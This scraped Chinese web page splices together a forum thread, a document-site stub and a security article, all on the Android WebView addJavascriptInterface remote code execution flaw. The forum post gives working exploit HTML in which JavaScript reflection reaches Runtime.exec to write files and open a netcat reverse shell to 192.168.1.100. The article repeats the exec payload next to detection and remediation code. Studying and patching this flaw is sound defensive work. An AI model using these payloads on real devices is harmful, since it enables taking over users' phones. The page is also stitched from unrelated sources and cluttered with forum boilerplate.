如何迅速找到webview webview远程代码执行行漏洞方法

查看: 11355|回复: 13
关于安卓webview安全漏洞远程命令执行(亲身测试一下)
阅读权限10
安卓WebView中接口隐患与手机挂马利用(远程命令执行)
安卓应用存在安全漏洞,浏览网站打开链接即可中招。目前有白帽子提交漏洞表明目前安卓平台上的应用普遍存在一个安全漏洞,用户打开一个链接就可导致远程安装恶意应用甚至完全控制用户手机,目前微信,手机QQ,QVOD以及各大手机浏览器均中招
关于网上对webview的介绍如下:
在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。
进入正题:关于网上对网上闹的沸沸扬扬的利用安卓webview漏洞远程执行命令,自己安装大牛们的方法亲自测试一下。。
为了测试首先在本机搭建web环境,你可以用本机微软自带的IIS服务器组件,我用的是超级小旋风AspWebServe小型web服务器, 原因很简单简单小巧方便,最最最重要的是不用设置拿来就能用,懒人首选.....嘿嘿
测试机型:小米1s(android版本4.0.4)
& && && && & 小米4w(android版本4.4.2)
测试结果:小米1s中招,米4没受影响。正如网上介绍的android4.2以后的系统(api17)已经采用新的接口函数,原来的方法已失效。
以下是在小米1s自带游览器上做的测试实验:
利用漏洞接口searchBoxJavaBridge_&&往手机sd卡里面写入文件,代码如下:
function execute(cmdArgs)
& & return searchBoxJavaBridge_.getClass().forName(&java.lang.Runtime&).getMethod(&getRuntime&,null).invoke
(null,null).exec(cmdArgs);
& & execute([&/system/bin/sh&,&-c&,&echo 'Hello world' & /sdcard/yuday.txt&]);
}catch(e){
& & alert(e);
保存上面的代码 扩展名改为 .html (里面的Hello world可以改成自己想输入的内容,后面的文件名也可以自己取名);
运行结果成功的在sd卡内写入了指定的文件
1.png (59.64 KB, 下载次数: 1)
17:20 上传
我们打开看看里面是否有内容
Screenshot_2.png (6.32 KB, 下载次数: 5)
17:22 上传
利用 sdcard可读可写成功往里面写入了指定的文件。
下面我们测试nc反弹shell,实现远程代码执行;
首先利用NC在本机监听端口
nc -vv -l -p 6666
nc -vv -l -p 8888
注:此操作是在电脑上面步骤,没有nc.exe的自己下载 黑阔工具中的瑞士军刀。
& && & 安卓基于linux在bin中带有nc 所有不需要下载。特殊版本不带的只能安装busybox解决了。
反弹shell代码如下:
function execute(cmdArgs)
& & return searchBoxJavaBridge_.getClass().forName(&java.lang.Runtime&).getMethod(&getRuntime&,null).invoke
(null,null).exec(cmdArgs);
& & execute([&/system/bin/sh&,&-c&,&nc 192.168.1.100 8888|/system/bin/sh|nc 192.168.1.100 6666&]);
&&alert(&nice shell&);
同上保存为 .html 放在你的web目录下,在你的手机上打开如下:
3.png (30.22 KB, 下载次数: 0)
17:42 上传
看看你在电脑端是不是成功获得了一个手机端的shell&&哈哈
4.png (21.03 KB, 下载次数: 0)
17:44 上传
5.jpg (301.94 KB, 下载次数: 0)
17:44 上传
测试到此结束!
下面是检测你手机游览器或应用有没有漏洞接口的代码
&!DOCTYPE html&
&meta charset=&UTF-8& /&
&title&WebView 漏洞检测&/title&
&meta name=&viewport& content=&width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0&&
&b&如果当前 app 存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:&/b&
&script type=&text/javascript&&
function check()
&&for (var obj in window)
& && &try {
& && && && &if (&getClass& in window[obj]) {
& & & & & & & & & & & & try{
& & & & & & & & & & & && && &window[obj].getClass();
& & & & & & & & & & & && && &document.write('&span style=&color:red&&'+obj+'&/span&'); & & & & & & & & & & & && && &document.write('&br /&');
& && && && && && && && &}catch(e){
& && && && && && && && &}
& && && && && && && & }
& && && && && &&&} catch(e) {
& && && && && &&&}
& && && && &&&}
} check();
保存为html,看看你的手机有没有中招。
注:如打开文字乱码,用记事本 文件-另存为- 编码 改为UTF-8
Screenshot_-16-21-12.png (43.45 KB, 下载次数: 3)
17:51 上传
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限20
楼主问一下 app的webview不能打开网页 怎么运行poc
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
好帖子,前排支持。
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限30
技术贴,支持了
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限30
早过时了,几百年前的东西了
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
漏洞与反漏洞的战斗永远不会停歇
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限20
看看 涨涨姿势
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
技术贴,支持了
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
学到了!!
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
阅读权限10
学习ing。。。。
发帖求助前要善用【】功能,那里可能会有你要找的答案;如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;如何回报帮助你解决问题的坛友,一个好办法就是给对方加【热心】和【CB】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
免责声明:吾爱破解所发布的一切破解补丁、注册机和注册信息及软件的解密分析文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
( 京ICP备号 | 京公网安备 87号 )
Powered by Discuz!
Comsenz Inc.Webview漏洞的检测与利用 张建谈 _百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
Webview漏洞的检测与利用 张建谈
&&4.2版本以下的安卓手机存在远程登录漏洞
阅读已结束,下载文档到电脑
想免费下载更多文档?
定制HR最喜欢的简历
下载文档到电脑,方便使用
还剩11页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢WebView漏洞,为何是打不死的小强?
一、WebView漏洞持续高居榜首
阿里移动安全发布的2015第三季度移动安全报告【1】,对16个行业的top10 Android应用进行扫描,发现与Webview相关的漏洞依然高居榜首。
Webview相关问题早在2012年【2】就已经披露并广泛关注,但到为何到现在还是持续高居漏洞榜首?!
二、Webview是一个什么样的组件
WebView是Android中一个非常实用的组件,它和Safai、Chrome一样都是基于Webkit网页渲染引擎,可以通过加载HTML数据的方式便捷地展现软件的界面。使用WebView开发软件有以下几个优点:
1、 可以打开远程URL页面,也可以加载本地HTML数据;
2、 可以无缝的在java和javascript之间进行交互操作;
3、高度的定制性,可根据开发者的需要进行多样性定制。
三、Webview相关漏洞有哪些?
1、 Webview addJavascriptInterface远程代码执行漏洞,漏洞编号CVE-:
Webview是Android系统中为Android App用来渲染网页的,为了便于JS互动展示,一般都会调用addJavascriptInterface接口。用例如下:
mWebView=new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JavaScriptInterface(), " injectedObj ");
mWebView.loadUrl("");
setContentView(mWebView);
由于Android API level 16以及之前的版本没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java
Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA环境环境,达到命令执行的目的。上面的代码可通过如下方法来执行任意命令:
function execute(cmdArgs)
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
2、 Android Webkit内置多个组件同样存在该漏洞:
2014年同时发现在Android系统中Webkit中默认内置的searchBoxJavaBridge_,accessibility,accessibilityTraversal组件都同样能引起类似的远程代码执行漏洞。漏洞编号为CVE-、CVE-。
3、Webview明文存储密码漏洞:
Webview明文存储密码漏洞是当使用Webview加载登陆页面的时候,如果不设置setSavePassword(false),就会弹出一个对话框询问是否保存密码,一旦用户选择了是,密码就会被明文保存在目录下的databases/webview.db 文件中,存在密码被泄漏的风险。
不过幸运的是在api18之后,该接口已经被google废除。但是在API 17之前,还是存在这个问题。
四、为何此类漏洞数量还高居不下?
出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用限定的最小API
Level为17或者以上,就不会受该问题的影响。但是由于多种遗留问题造成漏洞数量还是高居首位:
1、 截止到2015年12月,Android 4.2以下版本的市场占有率还有18.3%左右,很多开发必须兼顾这些用户。
2、引起远程代码执行漏洞的根本原因发生在Android Webkit内部, 开发者无法从API层修复这个问题。只能利用Android API做一些补救, 比如通过限制Webview加载的url只能来自可信域。但都无法从本质上修复和规避这个安全风险。
3、 安全与产品需求的折中,Webview中使用JavaScript几乎是大部分开发中都必须要用到的特性。它直接决定了的某些重要功能能否实现,或是否能大幅度提升用户体验。当安全风险和产品功能相冲突时,产品功能的优先级往往都高于安全。
4、开发人员安全意识的薄弱。产品开发和产品安全虽然是孪生兄弟,但从产品角度看却属于不同分工。一个优秀的开发人员可能对安全风险感知很小或根本就缺乏重视。他们可能会为一个变量命名绞尽脑汁或对一个算法精雕细琢但却对代码安全完全忽略。
5、而Webview明文存储密码漏洞纯粹是开发者安全意识问题。许多开发者认为即使软件中存在有安全风险的代码但如果没有被外部利用的路径就是安全的。 从安全的角度出发代码安全不是静态的。有安全风险的代码存在即是有危险的。
如,开发者Alex开发了某个模块,使用了Webview,但是没有设置setSavePassword(false)。Alex认为自己代码中没有登陆页面,所以不会有问题。一段时间后开发者Bob接手了Alex的工作,因为需求变动Bob增加了一个登陆界面,但是没有检查Alex的代码,就会导致Webview明文存储密码漏洞。
五、修复建议
1、针对WebView远程代码执行漏洞修复建议:
- 继承Webview控件
因为以上5个原因都是来自webview这个控件,那么整体上来说,可以继承系统控件Webview,然后将安全问题全部集中在这个继承类里面解决。比如我们不用的addJavascriptInterface可以重载并抛出异常,移除searchBoxJavaBridge_,accessibility,accessibilityTraversa操作也可以在继承类中进行统一处理。
- 针对API Level等于或高于17的Android系统
出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的最小API
Level为17或者以上,就能自然的避免风险。按照Google官方文档[5]使用示例:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
建议不要使用addJavascriptInterface接口,以免带来不必要的安全隐患,
如果一定要使用addJavascriptInterface接口,请遵循如下规则:
a、如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;
b、如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
c、如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性的校验。
d、针对searchBoxJavaBridge_ 接口,这是开发者特别容易忽视的一个问题。大部分的远程代码执行问题来自于此。建议开发者一定需要通过以下方式移除该Javascript接口:
removeJavascriptInterface("searchBoxJavaBridge_")
而针对"accessibility" 和"accessibilityTraversal",建议开发者通过以下方式移除该JavaScript接口:
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
2、 针对WebView明文存储密码漏洞修复建议:
开发者需要在使用webview的地方务必加上setSavePassword(false)。
六、参考:
1,/blog.htm?spm=0.0.0.0.CbH5hR&id=87
2,http://50.56.33.56/blog/?p=314
作者:舟海 呆狐

我要回帖

更多关于 webview漏洞 的文章

 

随机推荐